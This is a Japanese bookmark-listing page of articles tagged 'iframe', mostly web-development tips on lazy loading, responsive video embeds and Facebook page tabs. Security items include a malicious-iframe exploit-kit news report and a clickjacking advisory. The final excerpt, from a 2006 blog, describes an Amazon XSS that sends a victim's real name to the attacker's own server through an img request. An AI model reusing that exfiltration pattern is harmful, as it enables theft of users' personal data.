画像の遅延読み込みにloading属性とJavaScriptを併用した最大限のパフォーマンスを発揮させる実装方法 | コリス

2020/09/10 251 users コリス アプローチ loading属性 翻訳記事 下記

画像やiframeの遅延読み込みに使用するloading属性と非サポートブラウザ用にJavaScriptを併用した現代的なアプローチで、最大限のパフォーマンスを発揮させる実装方法を紹介します。 Best way to lazy load images for maximum performance by Adrian Bece 下記は各ポイントを意訳したものです。 ※当ブログでの翻訳記事... 続きを読む

グーグルが発表した新ウェブ技術「Portals」とは--「Google Chrome」向けのウェブナビゲーションシステム - ZDNet Japan

2019/05/20 326 users Portals Portal ローディング 新風 ウェブページ

Googleは米国時間5月7日、年次開発者会議「Google I/O 2019」で、ウェブページのローディングやナビゲーションに新風を吹き込む「Portals」と呼ばれる新たなテクノロジーを発表した。 GoogleによるとPortalsは<portal>という新たなHTMLタグを使って動作するという。このタグの動作は、従来からある<iframe>タグとよく似... 続きを読む

Chromeの新機能がすごい便利！imgやiframeにlazyload属性を加えるだけでLazyLoad対応に | コリス

2018/09/03 315 users コリス LazyLoad img Chrome パフォーマンス

「Blink LazyLoad」と呼ばれるChromeの新機能は、表示領域外の画像やiframe要素のロードを遅延させることで、Webページのパフォーマンスを大幅に向上させます。 LazyLoadは今まではJavaScriptを使用していましたが、ブラウザのネイティブな機能として、imgやiframe要素にlazyload属性を加えるだけで簡単に利用できます。... 続きを読む

[CSS]YouTubeなどの動画をレスポンシブ対応で実装する現在主流とこれからのテクニック | コリス

2017/05/19 162 users YouTube コリス padding CSS div

動画は拡大縮小が簡単な画像とは異なり、アスペクト比を維持したままレスポンシブ対応で埋め込むと、幅のサイズだけが変わり、高さがそのままになってしまいます。 この問題を解決するには、動画を配置するiframeをdivなどの親コンテナで内包し、アスペクト比にあった高さをpaddingで指定し、親コンテナのサイズに合わせて動画のサイズを変更させます。 動画をレスポンシブ対応で実装する現在主流となっているテ... 続きを読む

フリー素材を配布しているサイトを一覧でまとめたサイト「AllTheFreeStock」 ｜ ライフハッカー［日本版］

2014/11/09 118 users カメきち 商用 ライフハッカー 以下 フリー素材

カメきち  - Webサービス,デザイン  08:00 AM フリー素材を配布しているサイトを一覧でまとめたサイト「AllTheFreeStock」 「AllTheFreeStock」はフリー素材を配布しているサイトを一覧でまとめたサイトです。商用フリーな素材などを配布しているサイトを一覧でまとめ、iframeでそのサイトをその場で表示してくれます。フリー素材を探す際に重宝するかと思います。 以下... 続きを読む

たった一行でさまざまな要素をレスポンシブ対応にするスタイルシート -Fluidity | コリス

2014/03/25 676 users コリス SVG 一行 レスポンシブ対応 要素

画像やテーブル、地図などを配置するiframe, video, canvas, svgなど、主にボックス系のHTML要素をシンプルなコードでレスポンシブ対応にするスタイルシートを紹介します。 外部ファイルとして使用するのでそれでも一行ですが、中身も一行（115文字）の超軽量スタイルシートです。 Fluidity Fluidity -GitHub Fluidityのデモ Fluidityの使い方 F... 続きを読む

ある国内大手出版社、悪質なiframe仕込まれる、閲覧者が「Gongda」の餌食に -INTERNET Watch

2014/01/15 349 users 餌食 マルウェア INTERNET Watch 脆弱性 出版社

ニュース ある国内大手出版社、悪質なiframe仕込まれる、閲覧者が「Gongda」の餌食に （2014/1/15 20:11） 株式会社シマンテックは15日、日本のある出版社のウェブサイトに悪質なiframeが注入されていたことを確認したと発表した。悪用ツールキット「Gongda」がホスティングされている別サイトへ誘導するもので、閲覧者のPCに存在する脆弱性を突いて、情報を窃取するマルウェアを送... 続きを読む

気団まとめ-噫無情- : 興信所から嫁が男女混合の複数人でホテルに入っていく写真を撮ってきたｗｗｗ

2013/09/22 187 users 気団まとめ-噫無情 男女混合 興信所 ｗｗｗ 既婚男性板

気団まとめ-噫無情- 既婚男性板の家庭に関する話をまとめています。 HOME ABOUT RSS Twitter しぃアンテナ(*ﾟーﾟ) 2GET にゅーれす だめぽアンテナ キチママまとめアンテナ 気団談 スポンサーリンク お使いのブラウザは非対応です（この部分はiframeを使用しています） スポンサーリンク お使いのブラウザは非対応です（この部分はiframeを使用しています） < 嫁に寝... 続きを読む

気団まとめ-噫無情- : 喋ることができない女と結婚を前提に付き合うことになった。

2013/07/23 120 users 気団まとめ-噫無情 前提 既婚男性板 スポンサーリンク 結婚

気団まとめ-噫無情- 既婚男性板の家庭に関する話をまとめています。 HOME ABOUT RSS Twitter しぃアンテナ(*ﾟーﾟ) 2GET にゅーれす だめぽアンテナ キチママまとめアンテナ キチママまとめ保管庫 スポンサーリンク お使いのブラウザは非対応です（この部分はiframeを使用しています） スポンサーリンク お使いのブラウザは非対応です（この部分はiframeを使用しています... 続きを読む

すげー便利！ドメイン別にスタイルシート（CSS）を当てる方法。 | 和洋風KAI

2013/02/26 559 users CSS 和洋風KAI YouTube ifr ドメイン別

すげー便利！ドメイン別にスタイルシート（CSS）を当てる方法。 Tweet 覚えておくとかなり便利すぎるスタイルシートの書き方をご紹介。 特にiframeタグやaタグなどで使える書き方です。 ドメイン別にスタイルシートを当てる方法。 例えば、YouTubeの外部プレイヤー（iframe）の横幅は500にしたいけど、ニコニコ動画の外部プレイヤーは320にしたいときこう書くと上手く動作します。 ifr... 続きを読む

「秒速で1億PV稼ぐ条件」をエンジニアに聞いてみた | KAYAC DESIGNER'S BLOG - デザインやマークアップの話

2013/01/24 510 users KAYAC DESIGNER 秒速 オートリロード サツキ

平日は割りと仕事しているんですが、 さっきふとこんな技術相談を、エンジニアに投げてみました。 お題を投げてみた barimi ねえねえ、技術相談なんだけど、秒速で1億PV稼ぐサイト作るなら、技術的にどうする？ 私ならオートリロードとiframeだと思うんだけど。 taiyoh iframeで自分を開くようにするだけで、１回表示しただけで待ってれば相当数のPV数稼げそう。。。 （ブラウザがクラッシュ... 続きを読む

[JS]キャプションのアニメーションがかっこよすぎ、スマフォもIEも対応のコンテンツスライダー -iView Slider | コリス

2012/07/24 287 users コリス jQuery キャプション スライダー アニメーション

画像だけでなく、動画やiframe, HTMLコンテンツにも対応し、レスポンシブレイアウトやタッチデバイスもサポートしたスライダーをHTML5ベースで実装するjQueryのプラグインを紹介します。 iView Slider (jQuery) iView Sliderの特徴 iView Sliderのデモ iView Sliderの使い方 iView Sliderの特徴 iViewはキャプションやサ... 続きを読む

YouTubeを効果的に見せるための12の隠しパラメータ: 小粋空間

2012/04/23 101 users YouTube 小粋空間 frameborder パラメータ

YouTubeの動画をブログに貼り付けるときに次のようなiframeタグを利用するのはご存知かと思います。 <iframe width="470" height="269" src="http://www.youtube.com/embed/YDxYmhze5Do" frameborder="0" allowfullscreen> </iframe> このiframeタグに隠しパラメータ（隠されて... 続きを読む

ページタブアプリ(iframe)の作成とFacebookページへの追加方法｜Webpark

2012/03/21 134 users Heroku Webpark Facebookページ 名称

すでにお持ちの方も多いと思いますし、設定自体簡単ですのでFacebookページ自体の登録方法は割愛させていただきます。 ページタブアプリの作成方法 まず、Facebook開発者にアクセスしましょう。 右上にある「新しいアプリケーションを作成」をクリック。 アプリの名称を入力します。 Herokuを使ってiframe内のコンテンツを作成する場合、下の「Web Hosting」にチェックします。 He... 続きを読む

Facebookページの作成 第1回『iframe対応ページ追加』 / Facebook基礎 | HTML5でサイトをつくろう

2011/08/09 122 users Facebook基礎 Facebookページ 作成 手順 方法

Facebookページ制作 今回から3回に分けて、当ブログのFacebookページを制作した手順をご紹介したいと思います。 第1回目は『iframe』に対応したページの制作方法を紹介します。 第2回目はFacebookページからスクロールバーを非表示にする方法を紹介します。 第3回目は『Static HTML Iframe Tab 』アプリを紹介します。 尚、今回の『iframe』に対応したページ... 続きを読む

これは必見かもなYoutube等の埋め込み動画を動的にリサイズするCSS例:phpspot開発日誌

2011/06/01 395 users YouTube Embed phpspot開発日誌 CSS例

CSS: Elastic Videos これは必見かもなYoutube等の埋め込み動画を動的にリサイズするCSS例。 ブロックのサイズが変更された際において動画を固定サイズにしてしまうとレイアウトが崩れてしまいますが、公開されているサンプルを使うと、HTML5動画、embed/iframeの動画をレイアウトに合わせてCSSで自由に伸縮可能。 解像度の違う、iPhone等でも動作を確認しているそうで... 続きを読む

iFrameによるFacebookページ作成法と6つのポイント｜Webpark

2011/03/27 287 users Facebook Webpark Facebookページ

先日はじめたばかりなのにFacebookについて語るのも偉そうかもしれませんが、せっかくiFrame形式のページを設置したので、その作成方法や個人的に悩んだところをまとめてみます。今回はiFrameを使ってFacebookページを自由にカスタマイズする方法を紹介します。Facebookページ自体はログインした状態で「Facebookページを作成」にアクセスすると作成することができます。今まではFB... 続きを読む

FacebookページにiFrameを組み込もう

2011/02/19 333 users Facebookページ

2011.2.19 | 著者: Ayumi FukayaAuthor: Ayumi FukayaName: Ayumi Fukaya Email: noreply@socialmediaexperience.jp Site: http://socialmediaexperience.jp About: Social Media Experienceライター。ソーシャルメディアストラテジスト。大学卒... 続きを読む

ajaxで簡単ファイルアップロードが可能なjQueryプラグイン「jQuery.upload」:phpspot開発日誌

2010/06/01 267 users 即時 非同期 Ajax ファイル アップロード

jQuery.upload: A simple ajax file upload plugin ajaxで簡単ファイルアップロードが可能なjQueryプラグイン「jQuery.upload」 同じページ内に生成したiframeへデータをPOSTすることで、非同期にファイルをアップロードが可能にするものです。 ファイルを選択すると即時にアップロードが開始するのが特徴 アップロードを完了すると次のよう... 続きを読む

主要ブラウザすべてに影響する「クリックジャッキング」攻撃とは

2009/03/03 612 users クリックジャッキング JPCERT 攻撃 透過 要素

JPCERTコーディネーションセンター（JPCERT/CC）は3日、ユーザーのWebブラウザ上のクリック操作を乗っ取る「クリックジャッキング」と呼ばれる攻撃について、攻撃の概要と対策法を示す技術メモを公開した。 　クリックジャッキングとは、透過指定されたiframeなどの要素に標的サイトのコンテンツを読み込み、これを攻撃者サイトの要素よりも上に配置することで、Webブラウザの画面上には攻撃者サイト... 続きを読む

はてなダイアリーに任意のiframeを貼り付ける - daily gimite

2008/01/14 213 users プレゼンテーション Googleドキュメント ブログパーツ

最近はiframeを使ったブログパーツがいろいろありますが、はてなダイアリーではiframeが使えません。Google Gadgetを使えば任意のiframeを埋め込めるのですが、めんどくさいので、iframeを自動でGoogle Gadgetに変換するものを作ってみました。iframe → Google GadgetコンバータためしにGoogleドキュメントのプレゼンテーションを貼り付けてみまし... 続きを読む

IFRAMEを使って非同期にファイルをアップロードするサンプル - PHPプロ！ニュース

2006/12/04 112 users XMLHttpRequest サンプルスクリプト 非同期

anyExample.comにて、PHPを用いて作成したIFRAME & JavaScriptによるファイルアップロードのサンプルスクリプトが掲載されています。 通常、Ajax(XMLHttpRequest)を使用して<input type="file">によるファイル送信はできませんが、IFRAMEをうまく活用することで非同期ファイルアップロードが可能になります。 このスクリプトの基本的な構成は... 続きを読む

IFRAME を使わない方法の補足 | WWW WATCH

2006/11/25 311 users 補足 WWW WATCH valid XHTML 方法

phpspot開発日誌さんで紹介されていた 「IFRAMEを使わずにHTMLファイルから他のHTMLファイルを読み込む方法」 を読んでちょこっと補足。 人気エントリーに便乗する感じで。 XHTMLではiframeタグは禁止されているのでValidにしたい場合はこっちを使ったほうがよいらしいです。 iframe 要素は、HTML4.01 Strict 及び XHTML1.0 Strict では未定義... 続きを読む

IFRAMEを使わずにHTMLファイルから他のHTMLファイルを読み込む方法:phpspot開発日誌

2006/11/23 740 users phpspot開発日誌 published head 方法

Insert HTML page into another HTML page | published @ aplus moments IFRAMEを使わずにHTMLファイルから他のHTMLファイルを読み込む方法。 Objectタグで外部ファイルを読み込む方法があるんですね。 <html> <head> <title>test</title> </head> <body> <!--[if IE]>... 続きを読む

本名吸い取り機 (AMAZON XSS) :: ぼくはまちちゃん！

2006/05/18 102 users 自前 ウソ かわり IMG SRC 自前サーバー

↓これ 超おすすめマンガなんです！！！ うそだけど！ ( 修正がはいりました。もう動きません ) 取得後 alert のかわりに、自前で用意したサーバーに <img src="http://自前サーバー/?本名"> かなんかでリクエストするようにしといて、その後、適当な書籍にリダイレクトさせたりすれば…！ 本名吸い取り機のできあがり！ こわいね＞＜ リンクじゃなくて iframe とかにしちゃえば... 続きを読む